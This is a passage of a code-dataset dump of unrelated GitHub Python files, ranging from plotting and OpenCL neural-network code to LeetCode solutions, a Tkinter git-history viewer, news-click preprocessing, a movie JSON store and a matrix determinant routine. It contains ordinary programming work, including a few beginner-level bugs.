plt.scatter(X, Y, c = Z , marker = 'o', s = Marker_Size , cmap = cm.jet,edgecolors='none' , vmin=min, vmax = MAX )\n Axis_Properties(WHAT,plt, XLABEL= xlabel, xmin=200, XMAX=XMAX, YLABEL = ylabel, ymin=0, YMAX= ymax, FONTSIZE=fontsize+3 , ana = ana, txt_1 = text,\n lab_x = LAB_X , lab_y = LAB_Y)\n\n Color_Bar(plt , size = 18 , bins = bins , title = zlabel)\n plt.grid()\n plt.savefig('PLOTS/'+ WHAT + '_rValus_'+suff+'.png', dpi = 250, bbox_inches='tight' )\n\n#/afs/hephy.at/user/f/fambrogi/www/TGQ_Paper \n plt.savefig('/afs/hephy.at/user/f/fambrogi/www/TGQ_Paper/'+ WHAT + '_rValus_'+suff+'.png', dpi = 250, bbox_inches='tight' )\n plt.close()\n\n\n\n\n# Positions of labels\nPLACE_Glu_SqLSP = {'lab_y':130 , 'y_max':150, 'x_max': 4000 , 'lab_x':300 }\n\nBINS = 10\nmin , MAX = 1, 10\nREV = False\nMarker_Size = 8\nxmax, ymax = 1500 , 1000\nfontsize = 19\n\nGlu_M = r'$m_{\\tilde g}$ [GeV]' \nNeu_M = r'$m_{\\tilde{\\chi}_1 ^0 }$ [GeV]'\nCh1_M = r'$m_{\\tilde \\chi_1 ^{\\pm} }$ [GeV]'\nLight_S_M = 'min(' + r'$ m_{\\tilde q }$) [GeV]'\nrValue = r'SModelS $r =\\frac{\\sigma_{Theo}}{\\sigma_{UL}}$'\n\nREV = True\nlabel = r'SModelS $\\frac{Best \\ rvalue}{Total \\ rvalue}$'\n'''\n\n\n","repo_name":"fambrogi/Fit_Scy_SMo","sub_path":"Scatter_Plots.py","file_name":"Scatter_Plots.py","file_ext":"py","file_size_in_byte":8289,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"18304585216","text":"'''\nCreated in June 2015\n\n@author: Jose Pedro Matos\n'''\n\nimport numpy as np\nimport pyopencl as cl\nfrom collections import namedtuple\nfrom scipy.special import expit\nimport pkg_resources\n\nclass Weights:\n def __init__(self, wHL=None, bHL=None, wOL=None, bOL=None):\n self.wHL = wHL\n self.bHL = bHL\n self.wOL = wOL\n self.bOL = bOL\n \nclass ann:\n openCL = namedtuple('openCL', ('active','devList','ctx','prg','queue', 'workGroup', 'platform', 'type'), verbose=False, rename=False)\n KERNELS = {'lin': 'annLinear.cl',\n 'tan': 'annTansig.cl',\n 'log': 'annLogsig.cl'}\n \n def __init__(self, data, nodes=10, openCL=False, workGroup=(16, 16), platform=0, deviceType='ALL', verbose=0, activationFunction='tan', lowerThreshold=-999):\n self.data=data\n self.nodes=nodes\n self.openCL.active=openCL\n self.openCL.workGroup=workGroup\n self.openCL.platform=platform\n tmp={'ALL': cl.device_type.ALL, 'CPU': cl.device_type.CPU, 'GPU': cl.device_type.GPU} # @UndefinedVariable\n self.openCL.type=tmp[deviceType]\n self.activationFuns=(activationFunction, 'Linear')\n self.verbose = verbose\n self.setWeights()\n self.lowerThreshold = lowerThreshold\n \n if self.openCL.active:\n self._prepOpenCL()\n \n def __str__(self):\n return 'ANN model\\nNodes: %u' % (self.nodes) + \\\n '\\nOpenCL:\\n ' + str(self.openCL.devList) + \\\n '\\nwHL:\\n' + np.array_str(self.weights.wHL) + \\\n '\\nbHL:\\n' + np.array_str(self.weights.bHL) + \\\n '\\nwOL:\\n' + np.array_str(self.weights.wOL) + \\\n '\\nbOL:\\n' + np.array_str(self.weights.bOL)\n \n def _activate(self, X, layer):\n if self.activationFuns[layer]=='log':\n return expit(X)\n elif self.activationFuns[layer]=='tan':\n return 2 / (1 + np.exp(-2*X)) - 1\n else:\n return X\n \n def _prepOpenCL(self):\n platform=cl.get_platforms()[self.openCL.platform]\n self.openCL.devList= platform.get_devices(device_type=self.openCL.type)\n self.openCL.ctx = cl.Context(devices=self.openCL.devList)\n kernelStr=pkg_resources.resource_string(__name__, self.KERNELS[self.activationFuns[0]]) #@UndefinedVariable\n self.openCL.prg = cl.Program(self.openCL.ctx, kernelStr.decode('UTF-8')).build()\n self.openCL.queue = cl.CommandQueue(self.openCL.ctx)\n \n if self.verbose>0:\n print(\"===============================================================\")\n print(\"Platform name:\", platform.name)\n print(\"Platform profile:\", platform.profile)\n print(\"Platform vendor:\", platform.vendor)\n print(\"Platform version:\", platform.version)\n for device in self.openCL.devList:\n print(\"---------------------------------------------------------------\")\n print(\" Device name:\", device.name)\n print(\" Device type:\", cl.device_type.to_string(device.type)) # @UndefinedVariable\n print(\" Device memory: \", device.global_mem_size//1024//1024, 'MB')\n print(\" Device max clock speed:\", device.max_clock_frequency, 'MHz')\n print(\" Device compute units:\", device.max_compute_units)\n print(\" Device max work items:\", device.get_info(cl.device_info.MAX_WORK_ITEM_SIZES)) # @UndefinedVariable\n print(\" Device local memory:\", device.get_info(cl.device_info.LOCAL_MEM_SIZE)//1024, 'KB') # @UndefinedVariable\n \n def getWeightLen(self):\n return (self.data.shape[1]+2)*self.nodes+1\n \n def getWeightsToRegularize(self):\n tmp=np.zeros(self.getWeightLen(), dtype=np.bool)\n tmp[:self.data.shape[1]*self.nodes]=True\n tmp[-self.nodes-1:-1]=True\n return tmp\n \n def setWeights(self, weights=None):\n if weights is None:\n weights=np.random.normal(loc=0, scale=1, size=self.getWeightLen())\n #weights=np.linspace(1, self.getWeightLen(), self.getWeightLen())\n \n if len(weights.shape)==1:\n weights=np.expand_dims(weights, axis=0)\n \n self.weightsOpenCL=np.reshape(weights, (-1,))\n \n tmp=self.data.shape[1]*self.nodes\n wHL=np.reshape(weights[:, :tmp], (-1, self.data.shape[1], self.nodes))\n bHL=np.reshape(weights[:, tmp:tmp+self.nodes], (-1, self.nodes))\n tmp+=self.nodes\n wOL=np.reshape(weights[:, tmp:tmp+self.nodes].T, (self.nodes, -1))\n bOL=np.reshape(weights[:, -1], (-1, 1))\n self.weights=Weights(wHL, bHL, wOL, bOL)\n self.weightsOpenCL=weights\n \n def compute(self, X=[]):\n if len(X)==0:\n X=self.data\n else:\n pass\n \n originalLength=X.shape[0]\n originalWidth=self.weightsOpenCL.shape[0]\n \n if not self.openCL.active:\n raise Exception('openCL not active')\n #===================================================================\n # networks=self.weights.wHL.shape[0]\n # phiOL=np.empty((X.shape[0], networks))\n # for i0 in range(networks):\n # aHL=X.dot(self.weights.wHL[i0,:,:])+np.tile(self.weights.bHL[i0,],(X.shape[0],1))\n # phiHL=self._activate(aHL,0)\n # aOL=phiHL.dot(self.weights.wOL[:,i0])+self.weights.bOL[i0,]\n # phiOL[:,i0]=self._activate(aOL,1)\n #===================================================================\n else:\n remData=np.remainder(X.shape[0],self.openCL.workGroup[0])\n if remData != 0:\n X=np.vstack((X, np.zeros((self.openCL.workGroup[0]-remData, X.shape[1]))))\n else:\n remData=self.openCL.workGroup[0]\n \n remNetwork=np.remainder(self.weightsOpenCL.shape[0],self.openCL.workGroup[1])\n if remNetwork != 0:\n weights=np.vstack((self.weightsOpenCL, np.zeros((self.openCL.workGroup[1]-remNetwork, self.weightsOpenCL.shape[1]))))\n else:\n weights=self.weightsOpenCL\n remNetwork=self.openCL.workGroup[1]\n \n XOpenCL=X.reshape(-1, order = 'C').astype(np.float32)\n weightsOpenCL=weights.reshape(-1, order = 'C').astype(np.float32)\n \n mf = cl.mem_flags\n inputs=np.int32(X.shape[1])\n nodes=np.int32(self.nodes)\n dataSize=np.int32(X.shape[0])\n weightSize=np.int32(self.weightsOpenCL.shape[1])\n dataBuffer = cl.Buffer(self.openCL.ctx, mf.READ_ONLY | mf.COPY_HOST_PTR, hostbuf=XOpenCL)\n weightsBuffer = cl.Buffer(self.openCL.ctx, mf.READ_ONLY | mf.COPY_HOST_PTR, hostbuf=weightsOpenCL)\n outBuffer = cl.Buffer(self.openCL.ctx, mf.WRITE_ONLY, int(XOpenCL.nbytes/inputs*weights.shape[0]))\n \n kernel=self.openCL.prg.ann\n globalSize=(int(X.shape[0]), int(weights.shape[0]))\n localSize=(int(self.openCL.workGroup[0]), int(self.openCL.workGroup[1]))\n \n kernel(self.openCL.queue, globalSize, localSize, inputs, nodes, dataSize, weightSize, dataBuffer, outBuffer, weightsBuffer, cl.LocalMemory(self.weightsOpenCL[0,].nbytes*localSize[1]))\n \n phiOL = np.empty((np.prod(globalSize),)).astype(np.float32)\n cl.enqueue_copy(self.openCL.queue, phiOL, outBuffer)\n phiOL=np.reshape(phiOL, globalSize, order='F')[:originalLength,:originalWidth]\n \n if self.lowerThreshold!=-999:\n phiOL[phiOL List[int]:\n # P_dict = {}\n # for i in range(1, m):\n # P_dict[i] = i-1\n res = []\n P = [i for i in range(1, m+1)]\n\n for k in queries:\n pos = P.index(k)\n res.append(pos)\n P.pop(pos)\n P.insert(0, k)\n return res\n\nif __name__ == '__main__':\n solution = Solution()\n queries = [3,1,2,1]\n m = 5\n res = solution.processQueries(queries, m)\n print(res)\n","repo_name":"weiyuyan/LeetCode","sub_path":"LeetCode周赛/2020年4月12日周赛/5381. 查询带键的排列.py","file_name":"5381. 查询带键的排列.py","file_ext":"py","file_size_in_byte":2248,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"38744883775","text":"## Gustavo Ramirez\n##EJERCICO 4\n## realizar el promedio de n notas utilizando el ford\n\nvalor = int(input(\"cuantas notas quieres ingresar\"))\nsuma = 0\nfor i in range(valor): \n nota = int(input(\"ingrese nota:\"))\n suma = suma + int(nota)\n promedio = suma / nota\nprint(\"el promedio es:.{}\".format(promedio))\n\n","repo_name":"tavo845/python3","sub_path":"actividad 3/acti4.py","file_name":"acti4.py","file_ext":"py","file_size_in_byte":313,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"74095838882","text":"# Given a 2d grid map of '1's (land) and '0's (water), count the number of islands. An island is surrounded by water and is formed by connecting adjacent lands horizontally or vertically. You may assume all four edges of the grid are all surrounded by water.\n#\n# Example 1:\n#\n# 11110\n# 11010\n# 11000\n# 00000\n# Answer: 1\n#\n# Example 2:\n#\n# 11000\n# 11000\n# 00100\n# 00011\n# Answer: 3\n\n\nclass Solution(object):\n def numIslands(self, grid):\n \"\"\"\n :type grid: List[List[str]]\n :rtype: int\n \"\"\"\n m = len(grid)\n if m == 0: return 0\n n = len(grid[0])\n\n def dfs(i, j):\n if i < 0 or j < 0 or i >= m or j >= n or grid[i][j] == '0': return\n grid[i][j] = '0'\n dfs(i - 1, j)\n dfs(i + 1, j)\n dfs(i, j - 1)\n dfs(i, j + 1)\n\n res = 0\n for i in range(m):\n for j in range(n):\n if grid[i][j] == '1':\n dfs(i, j)\n res += 1\n return res","repo_name":"JadaHelloWorld/leedcode","sub_path":"2017_8_23/review/NumberofIslands_200.py","file_name":"NumberofIslands_200.py","file_ext":"py","file_size_in_byte":1020,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"71840815843","text":"import git\nimport pprint\nfrom Tkinter import *\nimport math\nimport time\nimport colorsys\nimport tkFileDialog\nimport getopt\n\n\nclass Point:\n def __init__(self, x, y):\n self.x = x\n self.y = y\n\n\nclass Blank:\n def __init__(self):\n self.widget = 0\n\n\ndef leading(x):\n return '0' + str(x) if x < 10 else str(x)\n\n\ndef year(x):\n sec = time.gmtime(x)\n return str(sec.tm_year) + '-' + leading(sec.tm_mon) + '-' + leading(sec.tm_mday)\n\n\ndef hour(x):\n sec = time.gmtime(x)\n return leading(sec.tm_hour) + ':' + leading(sec.tm_min) + ':' + leading(sec.tm_sec)\n\n\ncurrent = [None, '']\n\n\ndef click(event):\n global current\n canvas.itemconfig(canvas.find_withtag('t0'), fill='#eee')\n if event.widget != 0:\n if current[0]:\n canvas.itemconfig(current[0], fill=current[1])\n\n number = int(canvas.itemcget(event.widget.find_withtag('current'), 'tags').split(' ')[0][1:])\n color = '#fff' if number % 2 == 1 else '#eee'\n current = [event.widget.find_withtag('current'), color]\n\n canvas.itemconfig(event.widget.find_withtag('current'), fill='#ccc')\n\n c = commits[number]\n else:\n c = commits[0]\n canvas.itemconfig(canvas.find_withtag('t0'), fill='#ccc')\n\n thing = ''\n for higher in c.parents:\n thing += higher.hexsha + '\\n'\n i_text.config(text='Commit SHA1:\\n' + c.hexsha + '\\n\\nMessage:\\n' + c.message + '\\n\\nAuthor:\\n' + c.author.name +\n '\\n' + c.author.email + '\\n\\nDate: ' + year(c.authored_date) + '\\nTime: ' + hour(c.authored_date)\n + '\\n\\nParents:\\n' + thing)\n\n\ndef connect(p1, p2, q1, q2, h):\n color = '#%02X%02X%02X' % tuple([q * 255 for q in colorsys.hsv_to_rgb(h, 0.8, 0.8)])\n a1 = q1\n b1 = p1\n a2 = q2\n b2 = p2\n if p1 < q1:\n a1 = p1\n b1 = q1\n a2 = p2\n b2 = q2\n if a1 == b1:\n canvas.create_line(a1, a2 + 3, b1, b2 - 2, fill=color)\n elif a2 < b2:\n canvas.create_line(a1 + 3, a2 + 3, a1 + 5, a2 + 5, fill=color)\n canvas.create_line(a1 + 5, a2 + 5, b1 - 10, a2 + 5, fill=color)\n canvas.create_line(b1 - 10, a2 + 5, b1 - 5, a2 + 10, fill=color)\n canvas.create_line(b1 - 5, a2 + 10, b1 - 5, b2 - 5, fill=color)\n canvas.create_line(b1 - 5, b2 - 5, b1 - 2, b2 - 2, fill=color)\n else:\n canvas.create_line(a1 + 3, a2 - 3, a1 + 5, a2 - 5, fill=color)\n canvas.create_line(a1 + 5, a2 - 5, b1 - 10, a2 - 5, fill=color)\n canvas.create_line(b1 - 10, a2 - 5, b1 - 5, a2 - 10, fill=color)\n canvas.create_line(b1 - 5, a2 - 10, b1 - 5, b2 + 5, fill=color)\n canvas.create_line(b1 - 5, b2 + 5, b1 - 2, b2 + 2, fill=color)\n\n\ndef follow():\n n = 0\n while True:\n if n not in big or len(big[n]) == 0:\n return n\n n += 1\n\n\ndef mousewheel(event):\n canvas.yview_scroll(int(-math.copysign(1, event.delta)), 'units')\n\n\nbig = {}\ncommits = []\nheads = []\nselected = ''\n\n\ndef new():\n directory = tkFileDialog.askdirectory()\n if directory != '':\n update(directory, '')\n\n\ndef done(top, v):\n top.destroy()\n update(selected, v.get())\n\n\ndef branch():\n top = Toplevel()\n top.title(\"About this application...\")\n\n v = StringVar()\n v.set('master')\n\n for head in heads:\n b = Radiobutton(top, text=head.name, variable=v, value=head.name)\n b.pack(anchor=W)\n\n button = Button(top, text=\"Dismiss\", command=lambda: done(top, v))\n button.pack()\n\n\ndef update(name, b):\n global commits, big, heads, selected\n\n selected = name\n\n repo = git.Repo(name)\n commits = []\n for name in [x.name for x in repo.heads]:\n commits += list(repo.iter_commits(name))\n commits = list(set(commits))\n\n commits.sort(key=lambda y: y.authored_date, reverse=True)\n\n canvas.delete(\"all\")\n s_text.config(text=repo.git.status())\n t_text.config(state=NORMAL)\n t_text.delete(1.0, END)\n t_text.insert(END, repo.git.diff())\n t_text.config(state=DISABLED)\n\n heads = repo.heads\n\n print(commits)\n #commits = list(repo.iter_commits(b if b in heads else None))\n lanes = {}\n positions = {}\n children = {}\n\n e = 20\n hue = 0\n big = {}\n\n for i in range(len(commits)):\n commit = commits[i]\n lane = lanes[commit.hexsha] if commit.hexsha in lanes else follow()\n if lane in big and commit.hexsha in big[lane]:\n big[lane].remove(commit.hexsha)\n parents = list(commit.parents)\n parents.sort(key=lambda x: commits.index(x))\n for parent in parents:\n if parent.hexsha not in lanes:\n overflow = follow()\n lanes[parent.hexsha] = overflow\n if overflow in big:\n big[overflow].append(parent.hexsha)\n else:\n big[overflow] = [parent.hexsha]\n if parent.hexsha in children:\n children[parent.hexsha].append(commit.hexsha)\n else:\n children[parent.hexsha] = [commit.hexsha]\n lane *= 20\n canvas.create_rectangle(10, e - 10, 890, e + 10, fill='#eee' if (e / 20) % 2 == 1 else '#fff',\n outline='', tags='t' + str(i))\n positions[commit.hexsha] = Point(lane + 20, e)\n canvas.create_rectangle(lane + 18, e - 2, lane + 23, e + 3, fill='#999', outline='')\n canvas.create_rectangle(lane + 19, e - 1, lane + 22, e + 2, fill='#fff', outline='')\n if commit.hexsha in children:\n for child in children[commit.hexsha]:\n hue += 0.275\n connect(lane + 20, e, positions[child].x, positions[child].y, hue)\n canvas.create_text(200, e, text=commit.hexsha[:7], anchor=W)\n line = commit.message.split('\\n')[0]\n canvas.create_text(300, e, text=line[:40] + ' ...' if len(line) > 40 else line, anchor=W)\n canvas.create_text(600, e, text=commit.author.name, anchor=W)\n canvas.create_text(700, e, text=year(commit.authored_date), anchor=W)\n canvas.tag_bind('t' + str(i), '', click)\n e += 20\n\n canvas.config(scrollregion=(0, 0, 0, e))\n click(Blank())\n\n\nroot = Tk()\nroot.wm_title('GitVis2 1.0 Beta')\n\ninfo = LabelFrame(root, text='Info', width=100000)\ninfo.grid(row=0, column=0, sticky=NS)\ni_text = Message(info)\ni_text.grid(row=0, column=0)\n\ngraph = LabelFrame(root, text='Graph')\ngraph.grid(row=0, column=1)\ncanvas = Canvas(graph, width=800, height=400, bg='white')\ncanvas.grid(row=0, column=0)\ngraph.bind_all('', mousewheel)\n\nstatus = LabelFrame(root, text='Status')\nstatus.grid(row=1, column=0, columnspan=2, sticky=EW)\ns_text = Message(status)\ns_text.grid(row=0, column=0)\nt_text = Text(status, relief='flat', borderwidth=0, height=20, bg=s_text.cget('bg'), font=s_text.cget('font'))\nt_text.grid(row=0, column=1)\nt_scroll = Scrollbar(status, command=t_text.yview)\nt_scroll.grid(row=0, column=2, sticky=NS)\n\nmenu = Menu(root)\nfiles = Menu(menu, tearoff=0)\nfiles.add_command(label=\"Open\", command=new)\nfiles.add_command(label=\"Change Branch\", command=branch)\nmenu.add_cascade(label=\"File\", menu=files)\nroot.config(menu=menu)\n\nupdate('.', '')\n\nmainloop()\n","repo_name":"brandonsyc/gitvis2","sub_path":"gitvis2.py","file_name":"gitvis2.py","file_ext":"py","file_size_in_byte":7175,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"15921627195","text":"\nanimate = [\"Michael\",\n \"Christopher\",\n \"Jason\",\n \"David\",\n \"James\",\n \"Nicole\",\n \"Jessica\",\n \"Elizabeth\",\n \"Rebecca\",\n \"Kelly\"]\n\ninanimate = [\"the book\",\n \"the article\",\n \"the letter\",\n \"the story\",\n \"the chapter\"]\n\nverb_a_i = [\"read\",\n \"wrote\"]\n\nverb_a_a = [\"met\",\n \"talked to\"]\n\n# out = open(\"../acceptability_corpus/artificial/svo.tsv\", \"w\")\n# # Write sov, svo, ...\n# for s in animate:\n# for o in inanimate:\n# for v in verb_a_i:\n# for pattern in [(\"1\", s, v, o),\n# (\"0\", s, o, v),\n# (\"0\", v, s, o),\n# (\"0\", v, o, s),\n# # (\"0\", o, s, v),\n# (\"0\", o, v, s)]:\n# out.write(\"\\t%s\\t\\t%s %s %s.\\n\" % pattern)\n# out.close()\n\n# out = open(\"../acceptability_corpus/artificial/svs.tsv\", \"w\")\n# for s1 in animate:\n# for s2 in animate:\n# if s1 != s2:\n# for v in verb_a_a:\n# for pattern in [(\"1\", s1, v, s2),\n# # (\"1\", s1, s2, v),\n# (\"0\", v, s1, s2)]:\n# out.write(\"\\t%s\\t\\t%s %s %s.\\n\" % pattern)\n# out.close()\n\n\nout = open(\"../acceptability_corpus/artificial/john_met_the_book.tsv\", \"w\")\nfor s in animate:\n for o in inanimate:\n for v in verb_a_a:\n for pattern in [(\"0\", s, v, o),\n (\"0\", s, o, v),\n (\"0\", v, s, o),\n (\"0\", v, o, s),\n (\"0\", o, s, v),\n (\"0\", o, v, s)]:\n out.write(\"\\t%s\\t\\t%s %s %s.\\n\" % pattern)\nout.close()\n","repo_name":"alexwarstadt/acceptability","sub_path":"artificial_generation/svo.py","file_name":"svo.py","file_ext":"py","file_size_in_byte":1783,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"2385713910","text":"\n# coding: utf-8\n\n# In[ ]:\n\n\n# -*- coding: utf-8 -*-\nimport numpy\nimport codecs\nimport json\nimport time\nimport sys\nimport operator as op\n\nfp = sys.stdout\n\n\n# In[ ]:\n\n\ndef preprocess():\n f = codecs.open('./data/user_click_data.txt', 'r', 'utf-8')\n f_user_data_training = codecs.open('./data/_user_data_training.json', 'w', 'utf-8')\n f_user_data_validation = codecs.open('./data/_user_data_validation.json', 'w', 'utf-8')\n f_news_data = codecs.open('./data/_news_data.json', 'w', 'utf-8')\n f_user_data_training_clean = codecs.open('./data/_user_data_training_clean.json', 'w', 'utf-8')\n f_user_data_validation_clean = codecs.open('./data/_user_data_validation_clean.json', 'w', 'utf-8')\n f_news_data_clean = codecs.open('./data/_news_data_clean.json','w','utf-8')\n user_data_training = {}\n news_data = {}\n user_data_validation = {}\n user_data_training_clean = {}\n user_data_validation_clean = {}\n news_data_clean={}\n \n i = 0\n print(\"preprocessing starts...\")\n for line in f:\n # progress bar\n i+=1\n if(i % 10000 == 20):\n fp.write('\\r')\n fp.write(\"processing\")\n for z in range(int(i / 10000)%5):\n fp.write(\".\")\n fp.write(\" \")\n partitions = line.split('\\t')\n # data = {\"user_id\": user_id, \"news_id\": news_id, \"click_time\": click_time,\n # \"title\": partitions[3], \"article\": partitions[4], \"news_time\": tstp}\n user_id = int(partitions[0])\n news_id = int(partitions[1])\n click_time = int(partitions[2])\n # delete all dirty record\n if partitions[4] == 'NULL' or partitions[3] == '404':\n continue\n try:\n tstp = transform_time(partitions[5]) \n except:\n continue\n# tstp = int(1393603200)\n day = int((int(partitions[2]) - 1393603200) / 86400) + 1\n if day <= 20:\n # the first 20 days records belong to training set\n if user_id not in user_data_training:\n user_data_training.setdefault(user_id, {})\n user_data_training[user_id].setdefault(news_id, click_time)\n else:\n # the last 10 days records belong to validation set\n if user_id not in user_data_validation:\n user_data_validation.setdefault(user_id, {})\n user_data_validation[user_id].setdefault(news_id, click_time)\n \n if news_id in news_data:\n if len(partitions[4]) > len(news_data[news_id][1]):\n # if necessary,\n # update the news info\n # actually, this code doesn't work\n news_data[news_id][1] = partitions[4]\n news_data[news_id][2] = tstp\n else:\n # [news_title, news_article, news_time]\n news_data.setdefault(news_id, [partitions[3], partitions[4], tstp])\n \n fp.write('\\nphase 1 done.\\n')\n user_validation = user_data_validation.keys()\n user_training = user_data_training.keys()\n # we only concern those who read news in both periods\n user_list = [ i for i in user_training if i in user_validation ]\n news_list = []\n valid_user = 0\n valid_record_training = 0\n valid_record_validation = 0\n k = 3\n p = 3\n for i in user_list:\n # those who read little news in one period are also not considered\n if len(user_data_validation[i]) >= k and len(user_data_training[i]) >= p:\n valid_user+=1\n user_data_validation_clean.setdefault(i, user_data_validation[i])\n user_data_training_clean.setdefault(i, user_data_training[i])\n for n in user_data_validation[i]:\n valid_record_validation+=1\n if n not in news_list:\n news_list.append(n)\n for n in user_data_training[i]:\n valid_record_training+=1\n if n not in news_list:\n news_list.append(n)\n for n in news_list:\n news_data_clean.setdefault(n, news_data[n])\n \n print(\"recleaning phase done.\")\n print(\"\\nstatistics:\")\n print(\"\\ttotal number of users: 10000\")\n print(\"\\tusers read in the first 20 days: \", len(user_data_training))\n print(\"\\tusers read in the last 10 days: \", len(user_data_validation))\n print(\"\\tusers read in both two periods: \", len(user_list))\n print(\"\\tusers read at least\",k,\"news in the first period: \", valid_user)\n print(\"\\tnumber of valid news: \", len(news_data))\n print(\"\\tvalid record in the first 20 days: \", valid_record_training)\n print(\"\\tvalid record in the last 10 days: \", valid_record_validation)\n print(\"\\tnumber of news read by valid users: \", len(news_data_clean))\n \n \n # dump into files\n json.dump(user_data_training_clean, f_user_data_training_clean)\n json.dump(user_data_validation_clean, f_user_data_validation_clean)\n json.dump(user_data_training, f_user_data_training)\n json.dump(user_data_validation, f_user_data_validation)\n json.dump(news_data, f_news_data)\n json.dump(news_data_clean, f_news_data_clean)\n # close files\n f_user_data_training.close()\n f_user_data_validation.close()\n f_news_data.close()\n f_user_data_training_clean.close()\n f_user_data_validation_clean.close()\n f_news_data_clean.close()\n f.close()\n \ndef transform_time(t):\n # t :\n # 2014年03月xx日xx:xx\n tmp = t.split(\"年\")\n year = str(tmp[0])\n tmp = tmp[1].split(\"月\")\n mon = str(tmp[0])\n tmp = tmp[1].split(\"日\")\n day = str(tmp[0])\n tmp = tmp[1].split(\":\")\n hour = str(tmp[0])\n minute = str(tmp[1].split(\"\\r\")[0])\n # 1393603200 >>> 2014-03-01 00:00:00\n a = year+'-'+mon+'-'+day+' '+hour+':'+minute+':'+'00'\n timeArray = time.strptime(a, \"%Y-%m-%d %H:%M:%S\")\n timeStamp = int(time.mktime(timeArray))\n return int(timeStamp)\n\npreprocess()\n\n","repo_name":"ChengHuangUCAS/NewsRecommandation","sub_path":"develop/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":6048,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"11629611078","text":"'''Check Array Formation Through Concatenation\n\n William Ikenna-Nwosu (wiknwo)\n\n You are given an array of distinct integers arr and an \n array of integer arrays pieces, where the integers in \n pieces are distinct. Your goal is to form arr by \n concatenating the arrays in pieces in any order. \n However, you are not allowed to reorder the integers in \n each array pieces[i].\n\n Return true if it is possible to form the array arr \n from pieces. Otherwise, return false.\n'''\nfrom typing import List\n\nclass Solution:\n def canFormArray(self, arr: List[int], pieces: List[List[int]]) -> bool:\n index_value_pairs = []\n for i in range(len(pieces)):\n for j in range(len(pieces[i])):\n if pieces[i][j] not in arr:\n return False\n piece_index = arr.index(pieces[i][0]) # index of piece is the index of first part of piece\n index_value_pairs.append((piece_index, pieces[i])) # Store index of piece and piece as tuple in list\n sorted_index_value_pairs = sorted(index_value_pairs, key=lambda x: x[0]) # Sort pieces according to index\n \n # Concatenate pieces\n concatenated_list = []\n for i in range(len(sorted_index_value_pairs)):\n for element in sorted_index_value_pairs[i][1]:\n concatenated_list.append(element)\n\n return concatenated_list == arr\n \n \n ","repo_name":"wiknwo/leetcode","sub_path":"check_array_formation_through_concatenation.py","file_name":"check_array_formation_through_concatenation.py","file_ext":"py","file_size_in_byte":1453,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"3654339493","text":"from istorage import IStorage\nimport json\n\n\nclass StorageJson(IStorage):\n def __init__(self, file_path):\n self.file_path = file_path\n\n def list_movies(self):\n \"\"\"\n Returns a dictionary of dictionaries that\n contains the movies information in the database.\n\n The function loads the information from the JSON or CSV\n file and returns the data.\n\n Returns:\n a dictionary\n \"\"\"\n with open(self.file_path, 'r') as f:\n movies = json.load(f)\n return movies\n\n def add_movie(self, title, year, rating, poster, notes):\n \"\"\"\n Adds a new movie to the JSON file.\n\n Args:\n title (str): The title of the movie.\n year (int): The release year of the movie.\n rating (float): The rating of the movie.\n poster (str): the URL or path to the movie poster image.\n notes (str): the plot of the movie.\n\n Returns:\n None\n \"\"\"\n new_obj = {\n 'rating': rating,\n 'year of release': year,\n 'poster url': poster,\n 'notes': notes\n }\n\n movies = self.list_movies()\n movies[title] = new_obj\n with open(self.file_path, 'w') as f:\n json.dump(movies, f, indent=4)\n\n def delete_movie(self, title):\n \"\"\"\n Deletes a movie from the JSON file.\n\n Returns:\n None\n \"\"\"\n movies = self.list_movies()\n\n if movies.get(title) is None:\n print('This movie is not present in the database!')\n else:\n del movies[title]\n print(f'{title} successfully deleted!')\n\n with open(self.file_path, 'w') as f:\n json.dump(movies, f, indent=4)\n\n def update_movie(self, title, rating):\n \"\"\"\n Updates the notes for a movie in the JSON file.\n\n Args:\n title (str): The title of the movie to update.\n rating (float): The rating of the movie to update.\n \"\"\"\n movies = self.list_movies()\n\n if movies.get(title) is None:\n print('This movie is not present in the database!')\n else:\n movies[title]['rating'] = rating\n\n with open(self.file_path, 'w') as f:\n json.dump(movies, f, indent=4)\n\n def return_ratings(self):\n \"\"\"\n Retrieves the ratings of all movies from the JSON file and\n returns them as a list of integers.\n\n Returns:\n list: A list containing the ratings of all movies as\n integers.\n \"\"\"\n movies = self.list_movies()\n\n ratings_list = []\n\n for item in movies.values():\n rating = item.get('rating')\n if rating is not None:\n ratings_list.append(float(rating))\n\n return ratings_list\n","repo_name":"Jkhall81/python-movie-database","sub_path":"storage_json.py","file_name":"storage_json.py","file_ext":"py","file_size_in_byte":2856,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"29925815675","text":"def determinant(n):\n if len(n) == 1:\n return n[0][0]\n res = 0\n for i in range(len(n)):\n res += (1 if i % 2 == 0 else -1) * n[0][i] * determinant([j[:i] + j[(i+1):] for j in n[1:]])\n return res\n\n# buat nyari kofaktornya pake ini\n# for j in range(len(m)):\n# for i in m[1:]:\n# print(i[:j] + i[(j+1):])\n\ndef inverse(a):\n n = len(a) #defining the range through which loops will run\n #constructing the n X 2n augmented matrix\n P = [[0.0 for i in range(len(a))] for j in range(len(a))]\n for i in range(3):\n for j in range(3):\n P[j][j] = 1.0\n for i in range(len(a)):\n a[i].extend(P[i])\n #main loop for gaussian elimination begins here\n for k in range(n):\n if abs(a[k][k]) < 1.0e-12: #jika 0 tuker\n for i in range(k+1, n):\n if abs(a[i][k]) > abs(a[k][k]):\n for j in range(k, 2*n):\n a[k][j], a[i][j] = a[i][j], a[k][j] #swapping of rows\n break\n pivot = a[k][k] #defining the pivot\n print(a)\n if pivot == 0: #checking if matrix is invertible\n print(\"This matrix is not invertible.\")\n return\n else:\n for j in range(k, 2*n): #index of columns of the pivot row\n a[k][j] /= pivot\n for i in range(n): #index the subtracted rows\n if i == k or a[i][k] == 